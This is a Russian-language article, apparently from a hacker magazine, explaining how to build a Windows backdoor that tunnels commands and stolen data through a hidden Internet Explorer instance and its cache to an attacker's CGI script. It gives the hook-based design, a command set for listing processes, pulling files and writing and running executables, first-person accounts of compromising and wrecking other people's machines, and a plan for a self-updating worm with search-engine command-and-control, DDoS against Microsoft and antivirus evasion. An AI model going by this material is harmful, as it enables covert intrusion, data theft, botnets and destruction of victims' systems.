Очень странное название статьи. Но, приложив немного труда, становится
понятным, что это именно так. Я ни к чему не призываю и ничего никому не навязываю. Это просто небольшое исследование от нечего делать. Эту статью нужно принимать как ненаучно-фантастический рассказ. Никак не распространение вредоносных программ и не плевок в сторону виндоуз. Я не плюю против ветра и мне даже нравится одна из их осей. Может кому-то нижеследующая информация пригодится в познавательных целях. Если ты кроме одного языка ничего не знаешь, привык "сдирать" все подчистую с чужих программ и не хочешь думать (тебе надо все готовое и на халяву) - можешь дальше не читать. Полные исходники я все равно приводить не буду.

Я уже писал об обходе firewall через Internet Explorer. Статью можно найти у меня на странице. Но это простейший клиент. Он может отсылать уже заложенную в него информацию. Ну а если мы не знаем об установленных программах и сервисах на удаленном компьютере? Если нам сначала нужно узнать что и откуда брать? Тогда нужен сервер, способный получать команды и реагировать на них. Это уже backdoor. Но мы не знаем, какой firewall и какая защита стоит. Также нам нужно администрировать и того, кто выходит в инет через локальный прокси. В этом случае открытие порта у него на машине без взлома самого сервака ничего для удаленного администрирования не даст. В этой статье я расскажу как сделать backdoor из простого Internet Explorera. Сама программа не будет работать с сокетами и не ставит хуки на нажатие клавиш и т.п., что отправит отдыхать всякие браундмауэры, программы отлавливания клавиатурных шпионов и прочее. Что нам для этого нужно.

  1. Любой компилятор (лучше такие вещи писать на асме, но я для простоты дам исходники на Delphi с использованием WinAPI - переписать на любой язык не проблема).
  2. Хостинг с возможностью исполнять скрипты.
  3. Простейший скрипт на perl или php, получающий 1 параметр - строку, отправляющий эту строку на мыло и отсылающий броузер на указанный хтм-файл.

Алгоритм программы:

1. Ставит системный hook на WH_CALLWNDPROC (это очень частый хук, срабатывающий на каждый SendMessage, и защитные программы на него не реагируют).

2. В дополнительной dll, в функции обработки hook-а, проверяем запустился ли у нас Internet Explorer или какая другая программа. Если Internet Explorer - посылаем специальное сообщение основной программе.

3. Если основной программе прислано сообщение, то программа запускает скрыто еще один экземпляр Internet Explorer, который вызывает скрипт и засекает время.

4. Если программа опять получает сообщение - идет проверка, не прошло ли 5 секунд после запуска Internet Explorer для того, чтобы броузер успел вызвать скрипт и открыть после этого htm-файл, указанный в скрипте.

5. Если 5 секунд прошло, программа идет в кэш Internet Explorer-а, перебирает все хтм-файлы и ищет файл с последней датой записи и со специальной сигнатурой. Читает из него команду и выполняет ее.

6. После выполнения, программа опять запускает Internet Explorer для получения новой команды и опять засекает время.

Зачем нужно запускать IE именно так? Да чтобы незаметно для юзера было. Так или иначе, юзер сидя в инете запустит IE. К нему "приклеится" наша дополнительная
DLL и пошлет команду основной программе, которая вызовет еще один экземпляр IE. Т.е. запустятся сразу 2 экземпляра. Один открыто, другой скрыто. Особо не заметно. Зачем нужен скрипт? Для обмена данными. Вызывая его нам уходит сообщение и открывается хтм-файл, который будет сохранен IE в своем кэше. Из кэша мы и будем читать команды. 

Пример

Программа при получении первого сообщения передает строку "OK" - готовность к работе. При запуске IE, нам отсылается это сообщение через запуск "C:\Program Files\Internet Explorer\iexplore.exe
http://www.domain.com/cgi-bin/bdie.cgi?message=OK". Мы делаем простейший вот такой хтм-файл:

<html><BODY>BACKDOOR_IE:lp</body></html>

Он заносится в кэш броузера. Программа ищет последние записанные хтм-файлы, считывает из них 24 байта и, если они равны нашей сигнатуре,
(<html><BODY>BACKDOOR_IE:), то считывает дальше до символа <. Это команда. В приведенном примере - это lp(ListProc) - список запущенных процессов. Программа получает список этих самых процессов и передает этот список через
IE. Таким же образом можно посылать команды и с параметрами. Много так не передашь, но кил 30 за раз можно спокойно принять и без проблем отправить килов 10. Можно дописать в программе деление файлов на части и отправку/прием частями. Можно прерывать процессы, как угодно запускать программы, читать из реестра, писать в реестр, передавать файлы. При передаче файлов, нужно еще дополнительно их привести к виду "Num1 Num2 ... NumN". Где NumK - K-тый байт файла в строковом виде как шестнадцатеричное число. При приеме такой строки, клиент или сервер считывает по очереди (разделитель - пробел) значения NumK и воссоздает файл. Еще
необходимо удалять из кэша прочитанный файл с командой. 

Премущества:

а) В общем, полный контроль. Без использования сокетов и открытия порта.
б) Эту программу не видно во всяких там netstat и сетевых мониторах.
в) Обмен идет через IE, которому доступ обычно в любом firewall открыт.
г) Работает на компьютерах, выходящих в инет через локальный прокси.
д) Для всех осей семейства виндоуз, выше 95.
е) Для обмена данными не нужно быть в инете - указал команду на сайте и жди пока она выполнится.

Как сказала один раз одна моя знакомая - "Я забыла сопротивляться". Естественно, есть и недостатки. Это не real-time backdoor. Здесь все гораздо медленнее. Но на то он и ишак (я правда в ишаковедении не разбираюсь - может я оскорбляю животное таким сравнением), что галопом не поскачет. Также запуск IE еще не означает, что соединение установлено. Но ведь это и не real-time backdoor - можно подождать, пока произойдет инициализация. И самое главное - в TaskManager-е видно на один
экземпляр IE больше. Но все ведь сейчас продвинутые и их обычно запущенно 3-4. А там, где 3-4, там пятый не сильно заметен. 

Некоторые справочные сведения, нужные для работы программы:

1. Путь к Internet Explorer-у - в системном реестре по адресу
HKLM\SOFTWARE\Microsoft\Windows\Current Version\App Paths\IEXPLORE.EXE в параметре по умолчанию.

2. Путь к кешу текущего пользователя - в системном реестре по адресу
HKLM\SOFTWARE\Microsoft\Windows\Current Version\Internet Settings\Cache\Paths в параметре
Directory.

Теперь исходники. Я не стал выкладывать в этой статье полный BackDoor для IE. Для примера я сделал видимую программу без автозагрузки, без подмены функций WinAPI (для невидимости в TaskManager-е) и без полноценного обмена данными. Программа будет запускаться, создавать
DLL, вызывать хук и ждать запуска IE. После этого программа вызовет указанный в ней url, считает 300 байт с полученного файла и выдаст MessageBox с полученной информацией. Для показа идеи на примерах этого вполне достаточно. Если будут отзывы, то может и продолжу цикл статей с показом полных исходников такой программы. 

Для работы демонстрационной программы, htm-файл должен выглядеть так:

<html><BODY>BACKDOOR_IE:Текст, выведенный MessageBox-ом</body></html>

Этот файл можно разместить где угодно (потом в исходниках надо поменять url). Или можно указать адрес с моей страницы: http://www.danil.com.ua/bdie.htm.

Исходники и пример простейшего скрипта - iebckdr.zip.

Компилируем программу, запускаем. Выходим в инет. Запускаем Internet Explorer. Ждем 6-8 секунд и запускаем еще один экземпляр IE или закрываем этот.

Если ничего не произошло - выпрямляй руки. У меня всё работает. После этого не забудь удалить файл iebd.dll в системном каталоге MS
Windows.

Реальные примеры использования. Вернее, нереальные - все выдумано от начала и до конца.

Случай 1. Повадился мне на страницу один
чудак-хсакеп ходить. То матом письмо напишет, то гостевую попробует зафлудить (там хоть и режим премодерирования, но всё равно неприятно). Хотя программами моими пользовался. Исправно скачивал новые версии и т.д. Таких у меня немало, но как раз ему и "повезло" первому - дописал я почти полноценный бэкдор на описанном выше движке. Я знал (из заголовков писем) только то, что он выходит в инет в какой-то конторе, у которой стоит локальный прокси-сервер. По статистике своего сайта по адресу был определен броузер - ИЕ. После небольших исследований, было выяснено, что это винда (2000 или ХП) и кроме прокси по порту 3128 в ней ничего не стоит. Еще какой-то кажись браундмауэр, все шары закрыты, все патчи поставлены. Я не ксакеп (даже не
претендую) и моих познаний для дальнейшей работы с этим серваком не хватало. Была
задумана небольшая операция. Повествование о том, как я скреплял файлы и сделал таки запуск у него на компе я опущу. Потом от него пришло сообщение. Конечно, можно было сразу встроить дестройные функции, но мне хотелось сделать все загадочно и опробовать придуманное. Дальше была использована последовательность команд:

"sw" - системный каталог винды;
"dr C:\WINDOWS\..\Избранное" - список всех фаворитов;
"sf 'C:\sys.exe' 4D 5A 90 0 3 0 0 0 4 ...." - запись небольшого такого файла;
"rn 'C:\sys.exe'" - запуск.

Через пару дней ему был отослан список всех его фаворитов с наилучшими пожеланиями. После того, как ему поменяли винт, восстановили из бекапа все файлы на общих шарах в локалке и поставили новую ось, он наверное это письмо получил (и будем надеяться больше так делать не будет).

Случай 2. Тут было интересней. Диал-ап. После "lp" - outpost.exe. Далее:

"sw" - системный каталог винды;
"dr C:\" - листинг диска C:\;
"dr C:\Program Files";
"gf C:\Program Files\Outpost\license.txt" - загрузка файла. По лицензионому файлу я выяснил версию;
"gf C:\Program Files\Outpost\configuration.cfg";

Далее была произведена установка у себя версии Аутпоста 1.0, запись в его каталог configuration.cfg, разбор, что изменяется при добавлении нового правила, настройка на полный доступ файлу <WinSysDir>\nbsystem.exe.
Команды изменения конфигурации аутпоста приводить не буду - их оказалось достаточно много.

"sf 'C:\WINNT\server.exe' 4D 5A 90 0 3 0 0 0 4 ...." - запись моего сервера;
"rn 'C:\WINNT\server.exe'" - запуск.

За разя "прибил" BackDoor для IE. Мой сервер был с оповещением через IE, поэтому шума до перезагрузки не наделал. При следующем запуске системы он уже был в правилах. Полный контроль real-time. Правда ненадолго. Человек в аутпост видно залез через пару дней и увидел, что новое правило стоит и порт открыт. Ну так, я и не делал ничего - проверял только. Хотя за пару дней мог сделать очень много. Тем более, что сервак мог ему и не совать - так как есть админить. Сообщения приходить перестали.

Было и еще пару случаев, но они в принципе все одинаковы. Главное, что это работает. Правда с одним компом пришлось неделю обмениваться данными - на нормальном BackDoor-е это заняло бы не более часа.

Но это все так - игрушки. Теперь рассмотрим другой случай. Мечта любого человека, вышедшего в инет - завалить мелкософтовый сервак :-). Можно заработать деньги на трюмиловке заказанной конторы, как это было с MyDoom. А потом, для скрытия коммерческой деятельности и для души, зафлудить мелкософт. Представим себе такой алгоритм:

1. Пишем червя. Для самораспространения тоже можно использовать Internet Explorer и скрипт отправки сообщений.

2. В него встраиваем описанный выше движок, считывающий команду из htm-файла и начинающий флудить указанный в команде сервер.

3. После флуда - из этого же файла считывается новая версия программы.

Как человек, у которого в базе касперского трехзначное число виров, могу сказать - они уже давно устарели. База раздута до неимоверных пределов. Такого рода программы (еще и на асме) они отлавливают только по куску кода на ОПРЕДЕЛЕННОМ месте. Нету у них на это более лучшего способа. Если начать определение логически, по сокетам, по портам, то в какой-то момент может начать определяться например The Bat!. Таким образом, вставка в раздел данных какой-нибудь константы, длиной 1024 байта приведет к смещению всех переходов и отправит отдыхать все современные антивиры. На самом деле иногда достаточно добавить к имени приложения в данных ОДНУ букву.

Вернемся к нашему алгоритму. После получения команды, программа флудит указанный адрес. А мы через день размещаем новый релиз программы, измененный по описанному выше способу. И программа сама закачивает новую,
не определяющуюся версию для ожидания следующей команды. Конечно, сразу возникает мысль - в
программу вшит адрес для обновления и получения команд. И достаточно закрыть эту страницу. Но ведь мы тоже не пальцем деланные. Мы в программу введем строку-константу, содержащую символы, не складывающиеся в слова и сформированные случайным образом. И еще одну - например "sdfsdfdgtertw". Когда нам нужно инициализировать наш флуд, мы открываем страницу на любом бесплатном хостинге под именем, например etgesdfsdfdgtertwsdfsd.narod.ru. И пишем на этой странице нашу большую строку-константу и команду программе. Регистрируем страницу в yandex.ru. Программа будет формировать запрос поиска на yandex.ru, содержащий большую строку-константу. Даже с учетом, что они продают первые места по любому запросу, наша страница будет в первой десятке. И мы ее найдем по вхождению sdfsdfdgtertw в имени. Откроем и получим команду. Также получим и новый вариант сервера, и новую строку-константу (чтоб к ней не привязались). Все. В дальнейшем будем открывать страницы уже с новой строкой. Пусть yandex.ru закрывают. Думайте сами. Что на этот раз будут говорить касперские - "покупайте наших слонов"? Естественно, в реализации все вышеописанное не так просто - немного пришлось повозиться. Но без труда не выпьешь и водки полведра.

И напоследок. Пользуясь Internet Explorer ты предоставляешь полный контроль над своей машиной. Теперь уже не только мелкософту.

Защита:

1. Перестать пользоваться Internet Explorer.

2. Поставить размер кэша Internet Explorer в 0.

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Check Also

Утекшие недавно личные данные граждан Болгарии уже появились на хакерских форумах

Личная информация граждан Болгарии, похищенная ранее на этой неделе, уже просочилась в отк…

Оставить мнение